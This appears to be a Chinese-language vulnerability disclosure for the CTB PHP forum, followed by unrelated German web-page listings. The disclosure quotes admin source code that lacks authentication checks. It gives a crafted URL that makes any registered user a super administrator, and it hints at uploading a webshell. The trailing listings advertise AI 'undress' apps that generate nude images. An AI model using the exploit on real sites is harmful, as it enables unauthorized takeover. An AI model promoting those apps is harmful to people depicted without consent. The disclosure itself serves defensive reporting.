漂亮但不安全的CTB_PHP
>>>Dedicated This Scrap To CaoJing
涉及版本:
^^^^^^^
目前所有版本(现在1.3Alpha为最高版本)
描述:
^^^^^^
CTB是一款由实易数码;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。
具体:
^^^^
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧:
试看如下代码:
/admin/main.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//获取get变量
if( is_array($_GET) ) {
foreach($_GET as $k=>$v) {
if( is_array( $_GET[$k]) ) {
foreach($_GET[$k] as $k2=>$v2) {
$return[$k][$k2] = $v2;
}
} else {
$return[$k] = $v;
}
}
}
...
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod'];
if (!file_exists($mod.".php" {
$mod = "mainright";
}
require_once ($mod.".php";
//-----------------------------------------------------------------------------
//初始化类变量
$ctb = new Module;
$ctb->set = $set;
$ctb->tplPath = "./templates";
$ctb->input = $return;
$ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION;
$ctb->execute();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这里没有任何验证,我们看看添加管理员的文件:
/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
class Module extends CommonClass
//系统管理模块子类
{
function execute() {
switch($this->input['action']) {
...
case 'addSystemUser':
$this->addSystemUser();
break;
...
}
}
function addSystemUser()
{
//输入数据简单格式化
$this->inputCheck("main.php?mod=systemuser&action=showSystemUser";
//执行添加操作
$this->file = "../".$this->set[dataPath]."/users/list.php";
$systemLine = $this->select(4, $this->input['systemUserName']);
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
依然没有验证,一路顺利啊!
利用方法:
^^^^^^^
先注册一个用户:
登陆ID: cat
用户名 : dog
密码: ilikecat
重复密码: ilikecat
信箱: cat@dog.com
接着提交如下URL:
http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser
哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆:
http://www.psych.com/ctb/admin/main.php?mod=login
管理名称: cat
管理密码: ilikecat
咦...还真成功了!
你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧...
后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Eines der herausragenden Features von Cyberpunk 2077 ist die Pfadverfolgung, die jedoch die Leistung stark beeinträchtigen kann. Selbst Systeme mit halbwegs leistungsfähigen Grafikkarten wie die RTX 4080 (Gigabyte AERO OC aktuell 949,99 $ bei Amazon) haben Schwierigkeiten, eine stabile Leistung zu bieten

Anfang dieses Monats stellte ein YouTuber namens HowToMen den Rabbit R1 mit Android vor. Mit diesem Mod kann das Gerät, das ursprünglich weniger ablenkend sein sollte als ein Telefon, wie eines funktionieren. Das ist jedoch keine schlechte Sache, da Rabbit es nicht getan hat

Der Asus ROG Ally verfügt über einen 40-Wh-Akku, was typischerweise zu einer Laufzeit von etwa zwei Stunden führt. Beim Ally iFixit hat sich eins ausgedacht

Im Sicherheitsvergleich zwischen Slim und Phalcon im PHP-Mikroframework verfügt Phalcon über integrierte Sicherheitsfunktionen wie CSRF- und XSS-Schutz, Formularvalidierung usw., während Slim keine sofort einsatzbereiten Sicherheitsfunktionen aufweist und eine manuelle Implementierung erfordert Sicherheitsmaßnahmen. Für sicherheitskritische Anwendungen bietet Phalcon einen umfassenderen Schutz und ist die bessere Wahl.

Das Java-Framework-Design ermöglicht Sicherheit, indem es Sicherheitsanforderungen mit Geschäftsanforderungen in Einklang bringt: Identifizierung wichtiger Geschäftsanforderungen und Priorisierung relevanter Sicherheitsanforderungen. Entwickeln Sie flexible Sicherheitsstrategien, reagieren Sie schichtweise auf Bedrohungen und nehmen Sie regelmäßige Anpassungen vor. Berücksichtigen Sie architektonische Flexibilität, unterstützen Sie die Geschäftsentwicklung und abstrakte Sicherheitsfunktionen. Priorisieren Sie Effizienz und Verfügbarkeit, optimieren Sie Sicherheitsmaßnahmen und erhöhen Sie die Sichtbarkeit.

Um Ihre Struts2-Anwendung zu schützen, können Sie die folgenden Sicherheitskonfigurationen verwenden: Nicht verwendete Funktionen deaktivieren. Inhaltstypprüfung aktivieren. Eingaben validieren. Sicherheitstokens aktivieren. CSRF-Angriffe verhindern. Verwenden Sie RBAC, um den rollenbasierten Zugriff einzuschränken

Bei der Implementierung von Algorithmen für maschinelles Lernen in C++ sind Sicherheitsaspekte von entscheidender Bedeutung, einschließlich Datenschutz, Modellmanipulation und Eingabevalidierung. Zu den Best Practices gehören die Einführung sicherer Bibliotheken, die Minimierung von Berechtigungen, die Verwendung von Sandboxing und die kontinuierliche Überwachung. Der praktische Fall demonstriert die Verwendung der Botan-Bibliothek zum Ver- und Entschlüsseln des CNN-Modells, um sicheres Training und Vorhersage zu gewährleisten.

Wie füge ich Nutzer in Google Manager hinzu und verwalte sie? Google Chrome unterstützt die Anmeldung mehrerer Benutzer, sodass wir uns nicht um die geräteübergreifende Anmeldung kümmern müssen. Wenn wir viele Benutzer haben, müssen wir eine Verwaltung hinzufügen. Einige Freunde wissen möglicherweise nicht, wie man es bedient. Keine Sorge, der Herausgeber hat heute für alle eine ausführliche Schritt-für-Schritt-Anleitung zusammengestellt. Wenn Sie interessiert sind, schauen Sie sich den Editor an. Detaillierte Schritt-für-Schritt-Anleitung für die Anleitung 1. Suchen Sie nach dem Einschalten des Computers das installierte Google Chrome-Symbol auf dem Desktop und doppelklicken Sie, um es zu öffnen, wie im Bild unten gezeigt. 2. Klicken Sie auf das Symbol mit den drei Punkten in der oberen rechten Ecke von Google Chrome, wie im Bild unten gezeigt. 3. Klicken Sie im Dropdown-Menü von Google Chrome auf die Option [Einstellungen], wie in der Abbildung unten gezeigt. 4. Klicken Sie in der sich öffnenden Google Chrome-Einstellungsoberfläche auf [Channel verwalten].
